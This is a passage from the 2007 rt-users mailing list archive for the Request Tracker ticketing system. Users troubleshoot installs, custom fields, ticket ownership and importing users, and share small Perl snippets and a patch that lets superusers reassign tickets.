> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> >
>
>
> --
> Best regards, Ruslan.
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Thu Feb  1 21:28:47 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 2 Feb 2007 05:28:47 +0300
Subject: [rt-users] HTTP::Server::Simple::Mason Install woes
In-Reply-To: <45C160E0.4000809@oracle.com>
References: <45C1357A.6090202@oracle.com> <45C160E0.4000809@oracle.com>
Message-ID: <589c94400702011828l5704cd14hed67480695477cb5@mail.gmail.com>

You can skip this module at all, it's only required for standalone server.

On 2/1/07, Joe Casadonte <joe.casadonte at oracle.com> wrote:
> On 1/31/2007 7:34 PM, Joe Casadonte wrote:
> > OS: RHAS4 (2.6.9-42.0.2)
> > RT: 3.6.3
> > Perl: 5.8.5
> > HTML::Mason: 1.35
> >
> > I'm trying to install HTTP::Server::Simple::Mason and I'm getting the
> > following errors.  I searched the archives and found the same errors,
> > and the solution was to upgrade to HTML::Mason 1.31 -- I'm beyond that.
> >  I also have another installation of RT which has the same exact setup
> > of the above versions, and HTTP::Server::Simple::Mason installed there
> > just fine.  Any ideas?  Thanks!
>
> I have tried to get the two Perl environments as close as possible.
> Here are the only differences:
>
> Module Name              Fails  Works
> =======================  =====  ======
> DBI                      1.53   1.40-8
> PAR::Dist                0.21   0.11
> Test::Exception          0.24   0.21
> Test::Harness            2.64   (not installed)
>
> If I remove Test::Harness from the system that fails, I can't install
> *anything*.  Anything else I can try?  Can I just ignore the failed test
> and force it?  How soon will I know if that causes problems?
>
> Thanks!
>
> --
> Regards,
>
>
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From larskman at gmail.com  Fri Feb  2 00:47:44 2007
From: larskman at gmail.com (fname lname)
Date: Fri, 2 Feb 2007 00:47:44 -0500
Subject: [rt-users] Global / RT at a glance error
Message-ID: <e1b63c360702012147t60aa3587y65b0a3f2c01e0e5a@mail.gmail.com>

error:  Can't call method "Content" on an undefined value at
/usr/share/rt3/html/Admin/Global/MyRT.html line 50.
context:
...
46:      my ( $conf, $pane ) = @_;
47:      $default_portlets->SetContent( $conf );
48:      push @actions, loc( 'Global portlet [_1] saved.', $pane );
49:      }
50:     );
51:
52:     $m->comp( '/Widgets/SelectionBox:process', %ARGS, self => $_,
nojs => 1 )
53:      for @panes;
54:
...
code stack:      /usr/share/rt3/html/Admin/Global/MyRT.html:50
/usr/share/rt3/html/Admin/autohandler:47
/usr/share/rt3/html/autohandler:292

############

RAW error:

Can't call method "Content" on an undefined value at
/usr/share/rt3/html/Admin/Global/MyRT.html line 50.


Trace begun at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Exceptions.pm
line 129
HTML::Mason::Exceptions::rethrow_exception('Can\'t call method
"Content" on an undefined value at
/usr/share/rt3/html/Admin/Global/MyRT.html line 50.^J') called at
/usr/share/rt3/html/Admin/Global/MyRT.html line 50
HTML::Mason::Commands::__ANON__ at
/usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x83e74050)')
called at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line
1256
eval {...} at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 1246
HTML::Mason::Request::comp(undef, undef, undef) called at
/usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 915
HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0x83e73cfc)')
called at /usr/share/rt3/html/Admin/autohandler line 47
HTML::Mason::Commands::__ANON__ at
/usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x83f7cb3c)')
called at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line
1256
eval {...} at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 1246
HTML::Mason::Request::comp(undef, undef, undef) called at
/usr/share/rt3/html/autohandler line 292
HTML::Mason::Commands::__ANON__ at
/usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x83dd9ee8)')
called at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line
1251
eval {...} at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 1246
HTML::Mason::Request::comp(undef, undef, undef) called at
/usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 460
eval {...} at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 460
eval {...} at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/Request.pm line 412
HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x83e73cfc)')
called at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/ApacheHandler.pm
line 168
HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0x83e73cfc)')
called at /usr/lib/perl5/vendor_perl/5.8.8/HTML/Mason/ApacheHandler.pm
line 826
HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x82d17ef0)',
'Apache2::RequestRec=SCALAR(0x83b097d8)') called at
/usr/sbin/webmux.pl line 123
eval {...} at /usr/sbin/webmux.pl line 123
RT::Mason::handler('Apache2::RequestRec=SCALAR(0x83b097d8)') called at -e line 0
eval {...} at -e line 0


From Michael.Peer at eurac.edu  Fri Feb  2 02:54:02 2007
From: Michael.Peer at eurac.edu (Peer Michael)
Date: Fri, 2 Feb 2007 08:54:02 +0100
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7B14@COMAIL02.digitalglobe.com>
Message-ID: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>

With this diff, superusers can reassign tickets. It works for us.
 
 
--- /opt/rt3/lib/RT/Ticket_Overlay.pm   2005-11-14 21:43:24.000000000
+0100
+++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm     2007-01-30
17:39:31.000000000 +0100
@@ -2959,6 +2959,7 @@
         and    #If we're not stealing
         ( $self->OwnerObj->Id != $RT::Nobody->Id ) and    #and the
owner is set
         ( $self->CurrentUser->Id ne $self->OwnerObj->Id() )
+       and (!$self->CurrentUserHasRight('SuperUser')) #and is not
superuser
       ) {                                                 #and it's not
us
         return ( 0,
                  $self->loc(
 
 
 
Michael Peer
 

________________________________

From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Nick
Metrowsky
Sent: Thursday, 01 February, 2007 23:25
To: RT Users
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.



Hi Everyone,

 

I have Super User and I cannot change the ownership of a ticket from one
person to another. I get an error "You can only take tickets that are
unowned" or "You can only reassign tickets that you own or that are
unowned". This is definitely a different behavior than that of RT 3.4.4.


 

Any ideas on this one?

 

Nick

 

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

 

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From BKO at schilling.dk  Fri Feb  2 04:09:06 2007
From: BKO at schilling.dk (Brian Kjelin Olsen)
Date: Fri, 2 Feb 2007 10:09:06 +0100
Subject: SV: [rt-users] Languages and CustomFields
Message-ID: <60E7170809C4FC4E825DDF39B7ECDE749F753A@mia>

Hi All,

Does no answer on this issue mean that no one knows how to handle this?

When I searched trough the old mails in the mailing list, I did find some other users who had asked for similar configuration tips, but with no replies.

Med venlig hilsen / Best regards
Brian Kjelin Olsen
Schilling A/S

-----Oprindelig meddelelse-----
Fra: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-bounces at lists.bestpractical.com] P? vegne af Brian Kjelin Olsen
Sendt: 30. januar 2007 14:50
Til: rt-users at lists.bestpractical.com
Emne: [rt-users] Languages and CustomFields

Hi All,

We need to implement some public CustomFields but I can't figure out how to handle the CustomerFields in different languages. 
I did consider to make several "copy's" of each CustomField and devide up our customers in countries, but this would be a foolish solution. Fx does some of our contacts, at customers from non English speaking countries, only speak English and some doesn't. 

Any idea how to handle languages for CustomerFields?

Med venlig hilsen / Best regards
Brian Kjelin Olsen
Systemkonsulent
?
Schilling A/S
Baldersb?kvej 24-26
DK-2635 Ish?j
Tel: +45 70 27 99 00
Fax: +45 70 27 99 10
bko at schilling.dk
www.schilling.dk

_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From BKO at schilling.dk  Fri Feb  2 04:09:09 2007
From: BKO at schilling.dk (Brian Kjelin Olsen)
Date: Fri, 2 Feb 2007 10:09:09 +0100
Subject: SV: [rt-users] CustomField Why isn't the description displayed
	ontickets?
Message-ID: <60E7170809C4FC4E825DDF39B7ECDE749F753B@mia>

Hi All,

Does no answer on this issue mean that there is no way to get CustomFields description displayed on e.g. tickets?

For now I have chosen to put the ID and the description together into the Name field. Then in the scrip's where I need the ID, I cut out the ID part from the field.
Is this the way to go?

Med venlig hilsen / Best regards
Brian Kjelin Olsen
Schilling A/S

-----Oprindelig meddelelse-----
Fra: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-bounces at lists.bestpractical.com] P? vegne af Brian Kjelin Olsen
Sendt: 31. januar 2007 16:16
Til: rt-users at lists.bestpractical.com
Emne: [rt-users] CustomField Why isn't the description displayed ontickets?

Hi all,

On creation of a CustomField fx of type "Select one value", you can create following information in your values:
Sort, Name, Description and Category. Sort and Category is not relevant for this issue.

In the combobox in the ticket display only "Name" is displayed but not "Description". Why? Or more relevant... How do I do to display the description along with the name?

My problem is that I thought that I could use Name for my ID values and Desciption to guide the users.
Fx:
NAME	DESCRIPTION
---------  ---------------
1	Norminal ledger
2	Subscription
3	Advertisement
...

On the ticket the users can only see 1, 2, 3... 

Med venlig hilsen / Best regards
Brian Kjelin Olsen
Systemkonsulent
?
Schilling A/S
Baldersb?kvej 24-26
DK-2635 Ish?j
Tel: +45 70 27 99 00
Fax: +45 70 27 99 10
bko at schilling.dk
www.schilling.dk

_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From Thomas.Knaupp at schwarz.de  Fri Feb  2 04:15:10 2007
From: Thomas.Knaupp at schwarz.de (Knaupp, Thomas)
Date: Fri, 2 Feb 2007 10:15:10 +0100
Subject: [rt-users] Howto enable search in SelfService
Message-ID: <646E61995E6E82439D2F329325070E4D94E06F@scsw2k3msx1.D1SCS.LAN>

Hello list,

I was wondering if it's possible to
allow unprivileged users to search
for tickets when logged in via
SelfService.

We have some customers that really
have a lot of open tickets and it
would be great if they could search
for it instead of scrolling down
for hours :)


Regards,
Tom



-- 

SCHWARZ COMPUTER SYSTEME GMBH

Altenhofweg 2a
92318 Neumarkt 

Geschaeftsfuehrer: Manfred Schwarz
Sitz der Gesellschaft: Neumarkt i.d.Opf.
Registergericht: AG Nuernberg, HRB 11908
WEEE-Reg.-Nr.: DE36950826

Diese eMail enthaelt moeglicherweise vertrauliche und/oder rechtlich geschuetzte Informationen. Wenn Sie nicht der richtige Adressat sind oder diese eMail irrtuemlich erhalten haben, informieren Sie bitte sofort den Absender und vernichten Sie diese eMail. Das unerlaubte Kopieren sowie die unbefugte Weitergabe dieser Mail ist nicht gestattet. 

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From alisond at inf.ed.ac.uk  Fri Feb  2 05:29:43 2007
From: alisond at inf.ed.ac.uk (Alison Downie)
Date: Fri, 2 Feb 2007 10:29:43 +0000 (GMT)
Subject: [rt-users] Custom fields are not being displayed (fwd)
Message-ID: <Pine.LNX.4.64.0702021028280.3401@bambam.inf.ed.ac.uk>


Sorry - meant to send this to the rt-user list as well!

---------- Forwarded message ----------
Date: Thu, 1 Feb 2007 18:03:55 +0000 (GMT)
From: Alison Downie <alisond at inf.ed.ac.uk>
To: Tomasz Wlodek <tomw at bnl.gov>
Subject: Re: [rt-users] Custom fields are not being displayed


Yup! (and ModifyCustomField!). I took a copy of the database from 3.0.8 and ran 
the update steps ( /etc/upgrade<version> ) as described in step 7 in the README 
file forgot to mention that as well!

Thanks,

Alison


On Thu, 1 Feb 2007, Tomasz Wlodek wrote:

> On Thu, 1 Feb 2007, Alison Downie wrote:
> 
>> 
>> I am trying to upgrade from 3.0.8 to 3.6.1 and it all looked OK apart from 
>> not being able to see any Custom Fields when I display a ticket. Despite 
>> giving myself the appropriate rights (AdminCustomField etc) I cannot perform
> 
> Just to be sure: did you give yourself the right to SeeCustomField?
> 
> 
> Tom



From jackc at teptin.net  Fri Feb  2 07:17:13 2007
From: jackc at teptin.net (Jan Korbel)
Date: Fri, 02 Feb 2007 13:17:13 +0100
Subject: [rt-users] Looking for an extension for keeping track of time
	on	worked tickets
In-Reply-To: <5F9F3E88-1B7A-47E6-B860-D1B90FE03F80@bestpractical.com>
References: <C1BF1C58F42A304A899E2933C220F48A9D3C25@COMAIL02.digitalglobe.com>
	<5F9F3E88-1B7A-47E6-B860-D1B90FE03F80@bestpractical.com>
Message-ID: <45C32BC9.8090505@teptin.net>

Jesse (and others), sorry for lame question, but how can i show some 
kind of report?

I have 3.6.1.

I found another reporting code:

http://wiki.bestpractical.com/index.cgi?TimeWorked

It seems to going fine, except date input. I tried ISO (yyyy-mm-dd) and 
some others and it still shows same data. Also time in hours (not 
minutes) would be better.

Thx.

J.

Jesse Vincent wrote:
> Attached is a draft of something like this we did for a customer.
> 
> I can't promise that it still works, but it likely needs only a little 
> work to be made to go.
> 
> Patches welcome. (And if I get some success reports, i'll publish it)
> 
> -j
> 
> 
> ------------------------------------------------------------------------
> 
> 
> On Dec 15, 2006, at 3:24 PM, Nick Metrowsky wrote:
> 
>> Hi Everyone,
>>
>>  
>>
>> My management wants the capability of having a running time capability 
>> for tickets that are opened and have the time from not accumulating 
>> when the ticket is in the stalled state. Has someone developed a 
>> utility which can keep track of a ticket?s running time so when a user 
>> view the ticket, they can see how much time has elapsed since the 
>> ticket has been opened. Ideally, it would be nice to see this 
>> information displayed in the ?Time Worked? field.
>>
>>  
>>
>> The end result of this would be that reports can be generating showing 
>> the actual time it took someone to work on a ticket. I have the 
>> RTx::Statistics package, but these reports based the amount of time 
>> from when the ticket was created to the time it was closed, without 
>> taking into account the amount of time the ticket was in stalled state.
>>
>>  
>>
>> Any ideas or code snippets would be most welcome.
>>
>>  
>>
>> Nick


From D.Obando at ehapa.de  Fri Feb  2 07:44:06 2007
From: D.Obando at ehapa.de (Obando, David DE - EV)
Date: Fri, 2 Feb 2007 13:44:06 +0100
Subject: [rt-users] importing users
Message-ID: <81D141237A54374E9E79CF14F96612A3B40040@TXLEVD1-XCH03.ev.egmont.com>

Dear all,

I have a bunch of users (in a csv file) and would like to import them into RT. What is the best way to do it?

Best regards,
David



David Obando
Webmaster/Systemadministrator
Egmont Ehapa Verlag GmbH
Wallstra?e 59
10179 Berlin
Germany
Phone: +49 30 240080
Direct: +49 30 24008361
Mobil: +49 172 1548386
Fax:  +49 30 24008369
d.obando at ehapa.de
www.ehapa.de <http://www.ehapa.de/> 

Gesch?ftsf?hrer: Frank Knau, Karl Skovb?ch Pedersen | Handelsregister: HRB 81977 AG Berlin-Charlottenburg | Sitz der Gesellschaft: Berlin

EGMONT


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From thrall.mail.list at gmail.com  Fri Feb  2 08:04:49 2007
From: thrall.mail.list at gmail.com (Nadeem Shahbaz)
Date: Fri, 2 Feb 2007 18:04:49 +0500
Subject: [rt-users] Re: The RT server which handled your email did not
	behave as expected
In-Reply-To: <c405341b0701240543s2a0e6d8dhf6ff3c2582836ec3@mail.gmail.com>
References: <c405341b0701240543s2a0e6d8dhf6ff3c2582836ec3@mail.gmail.com>
Message-ID: <c405341b0702020504k7d993faah1e5b3a2489101551@mail.gmail.com>

can please some one advise on this problem ? thanks !!

On 1/24/07, Nadeem Shahbaz <thrall.mail.list at gmail.com> wrote:
> Hi,
>
> I am facing problem in getting RT to work properly. I tried with RT
> 3.6.3 and 3.4.5. Whenever I tried to update/create a ticket by sending
> email, I see those mails deffer in mail queue with reason:
>
> The RT server which handled your email did not behave as expected. It
> said:  Can't use an undefined value as an ARRAY reference at
> <prefix>/lib/RT/EmailParser.pm line 624
>
> RT web and db are running at separate host and RT web is a xen VM
> running fc6. Kindly help to sort this problem.
>
> Thanks,
>


From rfh at pipex.net  Fri Feb  2 08:48:47 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Fri, 02 Feb 2007 13:48:47 +0000
Subject: [rt-users] rt-mailgate and REST
Message-ID: <45C3413F.8000809@pipex.net>

Hi there;

rt-3.6.1 and apach2 mysql5 and exim4

I have rebuilt my RT dev box copying stuff from the live system including the RT bits in exim.conf
I forgot to change my  
data = "|/opt/rt3/bin/rt-mailgate --queue .... --url https://myrt.mycom.com/" so it was still pointing to my live system ..
on submitting test messages/tickets these were created in the live system, which then occurred me that there is a potential flaw here, there is no authentication or restriction of any kind ..
Generally the REST interface expects authentication from the client (supplied from rt.conf or .rtrc), how does the mailgate (which I guess /REST/1.0/NoAuth/mail-gateway) part of it authenticate ??
Have anyone came across this? any solutions or suggestions ?

Roy 




From tnguyen at sherweb.com  Fri Feb  2 09:02:29 2007
From: tnguyen at sherweb.com (tnguyen at sherweb.com)
Date: Fri, 2 Feb 2007 09:02:29 -0500
Subject: [rt-users] delete tickets matching a string with RTx-Shredder?
Message-ID: <A544871963B4DA4CB7E8F7AA34458D430886D8@ihebe01.ihostexchange.com>

Hi all, 

 

Lately I ran into deep troubles with a loop creating dozens of tickets. 

 

Now I'm trying to delete tickets whose subject matches a certain string.

I installed Shredder but haven't found a way to delete by subject match.


 

What do you think I should do? 

 

Truly yours, 

 

Thibaut 

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From ruslan.zakirov at gmail.com  Fri Feb  2 09:23:26 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 2 Feb 2007 17:23:26 +0300
Subject: [rt-users] rt-mailgate and REST
In-Reply-To: <45C3413F.8000809@pipex.net>
References: <45C3413F.8000809@pipex.net>
Message-ID: <589c94400702020623k3fecd168sbe3cd073a5729db8@mail.gmail.com>

wiki: MailGatewayAccessControl

On 2/2/07, Roy El-Hames <rfh at pipex.net> wrote:
> Hi there;
>
> rt-3.6.1 and apach2 mysql5 and exim4
>
> I have rebuilt my RT dev box copying stuff from the live system including the RT bits in exim.conf
> I forgot to change my
> data = "|/opt/rt3/bin/rt-mailgate --queue .... --url https://myrt.mycom.com/" so it was still pointing to my live system ..
> on submitting test messages/tickets these were created in the live system, which then occurred me that there is a potential flaw here, there is no authentication or restriction of any kind ..
> Generally the REST interface expects authentication from the client (supplied from rt.conf or .rtrc), how does the mailgate (which I guess /REST/1.0/NoAuth/mail-gateway) part of it authenticate ??
> Have anyone came across this? any solutions or suggestions ?
>
> Roy
>
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From rfh at pipex.net  Fri Feb  2 09:31:13 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Fri, 02 Feb 2007 14:31:13 +0000
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201204615.GV25008@bestpractical.com>
References: <20070201175603.GB18831@cgi.jachomes.com>	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>	<63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>	<20070201201047.GC19251@cgi.jachomes.com>
	<20070201204615.GV25008@bestpractical.com>
Message-ID: <45C34B31.6000109@pipex.net>

Jesse;
Why do you need RT to own the customer database , I think its not such a 
good idea ..  your support/ticketing system should be different from 
your provisioning system which is different from your billing etc , the 
ticketing system is not the place to hold your customer contacts 
particularly as you mentioned some of those contacts will have nothing 
to do with tickets .. As long as the systems talk/query each other that 
is all that count.
All you need in your RT is your unique customer id, this is what I have 
in here and it works (sort of) :
- customer contacts in Customer db , those that need ticket access are 
tagged and auto created in RT  (also auto updated)
- contacts of customers are grouped, if each of them created a ticket a 
cf customer reference is populated with the customer id
- currently customer details (products or services etc are populated 
into a ticket wiki cf by grabbing the customer reference cf value and 
soap call to provisioning db (this have the problem of not being updated 
on old tickets and when I have time I want  to look into using the (Link 
values to ) so it talks real time to a provisioning web service.

Hope the above was of any use.
Regards;
Roy

Jesse Vincent wrote:
>> Thank you, Kelly.  Everyone else's reactions to "customer file" were
>> beginning to make me think *I* was nutsabago.
>>
>>     
>
> Nope. It's a perfectly reasonable feature request. We've specced it out
> for customers several times.  To do it "reasonably" as part of RT
> requires that RT own your customer database, which it generally sounds
> like the folks who've been looking for this on the list aren't willing
> to have happen.
>
> We'd probably model it as RT groups, so that you could usefully model
> who's part of which customer.  The big "hard" bits are probably setting
> RT up to not mail everyone from a customer on every issue ;)
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
>
>   



From garry.williams at cbeyond.net  Fri Feb  2 09:45:28 2007
From: garry.williams at cbeyond.net (Garry T. Williams)
Date: Fri, 2 Feb 2007 09:45:28 -0500
Subject: [rt-users] importing users
In-Reply-To: <81D141237A54374E9E79CF14F96612A3B40040@TXLEVD1-XCH03.ev.egmont.com>
References: <81D141237A54374E9E79CF14F96612A3B40040@TXLEVD1-XCH03.ev.egmont.com>
Message-ID: <200702020945.28243.garry.williams@cbeyond.net>

On Friday 02 February 2007 07:44, Obando, David DE - EV wrote:
> Dear all,
> 
> I have a bunch of users (in a csv file) and would like to import
> them into RT. What is the best way to do it?

The Wiki is your friend.  :-)

I did it with code something like this (untested):

    #!/usr/bin/perl
    use strict;
    use warnings;

    use lib '/path/to/rt/lib';
    use RT::Interface::CLI;

    RT::LoadConfig();
    RT::Init();

    my $rt_user = RT::User->new($RT::SystemUser);
    while (<>) {
	my ($id, $name, $passwd, $email) = split /,/;

	my ($rc, $msg) =
	    $rt_user->Create(Name         => $id,
			     RealName     => $name,
			     Password     => $passwd,
			     EmailAddress => $email,
			     Privileged   => 1,
			    );
	unless ($rc) {
	    print "add user $id: $msg\n";
	}
    }

The split() is probably inadequate -- you might want to use
Text::ParseWords to be more robust.

After a user is added, you might want to include that user in a user
defined group (untested):

    my $rt_group = RT::Group->new($RT::SystemUser);
    $rt_group->LoadUserDefinedGroup('my_group_name');
    my ($rc, $msg) = $rt_group->AddMember($rt_user->PrincipalId());

    unless ($rc) {
	print "can't add $id to my_group_name: $msg\n";
    }

-- 
Garry T. Williams --- 678-370-2438





From nmetrowsky at digitalglobe.com  Fri Feb  2 09:53:11 2007
From: nmetrowsky at digitalglobe.com (Nick Metrowsky)
Date: Fri, 2 Feb 2007 07:53:11 -0700
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
Message-ID: <C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>

Hi Michael,

 

Thank you for your useful patch. I hope this change makes it into future
releases of RT, as it would be logical for Super User to have the
ability to change ticket owners, especially if someone has left an
organization and the tickets have to be moved to someone else.

 

Nick

 

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

________________________________

From: Peer Michael [mailto:Michael.Peer at eurac.edu] 
Sent: Friday, February 02, 2007 12:54 AM
To: Nick Metrowsky; RT Users
Subject: RE: [rt-users] RT 3.6.3: Cannot chnage owner to another user.

 

With this diff, superusers can reassign tickets. It works for us.

 

 

--- /opt/rt3/lib/RT/Ticket_Overlay.pm   2005-11-14 21:43:24.000000000
+0100
+++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm     2007-01-30
17:39:31.000000000 +0100
@@ -2959,6 +2959,7 @@
         and    #If we're not stealing
         ( $self->OwnerObj->Id != $RT::Nobody->Id ) and    #and the
owner is set
         ( $self->CurrentUser->Id ne $self->OwnerObj->Id() )
+       and (!$self->CurrentUserHasRight('SuperUser')) #and is not
superuser
       ) {                                                 #and it's not
us
         return ( 0,
                  $self->loc(

 

 

 

Michael Peer

 

 

________________________________

From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Nick
Metrowsky
Sent: Thursday, 01 February, 2007 23:25
To: RT Users
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.

Hi Everyone,

 

I have Super User and I cannot change the ownership of a ticket from one
person to another. I get an error "You can only take tickets that are
unowned" or "You can only reassign tickets that you own or that are
unowned". This is definitely a different behavior than that of RT 3.4.4.


 

Any ideas on this one?

 

Nick

 

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

 

-------------- next part --------------
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From nmetrowsky at digitalglobe.com  Fri Feb  2 09:55:11 2007
From: nmetrowsky at digitalglobe.com (Nick Metrowsky)
Date: Fri, 2 Feb 2007 07:55:11 -0700
Subject: [rt-users] RT 3.6.3: Informing Requestor when Ticket
	Ownershipchanges
References: <C1BF1C58F42A304A899E2933C220F48AAE7AD3@COMAIL02.digitalglobe.com><20070201213334.GD11914@erie.mg2.org>
	<45C25E13.4050205@mit.edu> <45C27F8B.7010906@lbl.gov>
Message-ID: <C1BF1C58F42A304A899E2933C220F48AAE7B62@COMAIL02.digitalglobe.com>

Hi Everyone,

Thank you for the replies for this. I keep forgetting about the
existence of Scrips and Templates for this sort of thing. Creating a
scrip and template works great.

Thanks again.

Nick

------------------------------------------------------------------------
---------
Nick Metrowsky
Consulting System Administrator
303-684-4785 Office
303-684-4100 Fax
nmetrowsky at digitalglobe.com
DigitalGlobe (r), An Imaging and Information Company
http://www.digitalglobe.com
------------------------------------------------------------------------
---------

-----Original Message-----
From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Kenneth
Crocker
Sent: Thursday, February 01, 2007 5:02 PM
To: Stephen Turner
Cc: RT Users
Subject: Re: [rt-users] RT 3.6.3: Informing Requestor when Ticket
Ownershipchanges

We used this simple code - return ( $TicketObj->OwnerObj->Name() ne 
'Nobody' );
That does it for us

Kenn Crocker
LBNL
Stephen Turner wrote:
> Todd Chapman wrote:
>> You can do that with scrips. No custom code needed either.
>>
>> On Thu, Feb 01, 2007 at 02:31:17PM -0700, Nick Metrowsky wrote:
>>> Hi Everyone,
>>>
>>>  
>>>
>>> Anyone know the procedure to set things up such that when the ticket
>>> owner is changes, that the requestor is sent an e-mail message so
they
>>> know who is working their request? I thought of using the "Watcher"
>>> permission, but it seems to only work on reply to ticket.
>>>  
>>>
>>> Any ideas would be welcome.
>>>
>>>  
>>>
>>> Nick
>>>
>>>  
> 
> The owner change condition may fire when the owner is set to Nobody
(I'm 
> not sure). You might not want to send the customer a message saying 
> "Nobody has been assigned to work on your request". If that's the
case, 
> you may need some custom condition code.
> 
> Steve
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
Buy 
> a copy at http://rtbook.bestpractical.com
> 
_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From tomas.olaj at usit.uio.no  Fri Feb  2 10:24:08 2007
From: tomas.olaj at usit.uio.no (Tomas Olaj)
Date: Fri, 2 Feb 2007 16:24:08 +0100 (CET)
Subject: [rt-users] RT/Apache suddenly hangs
Message-ID: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>


System:
=======
Red Hat Enterprise Linux WS release 3 (Taroon Update 8)
RT 3.6.1
Apache v2.0.59
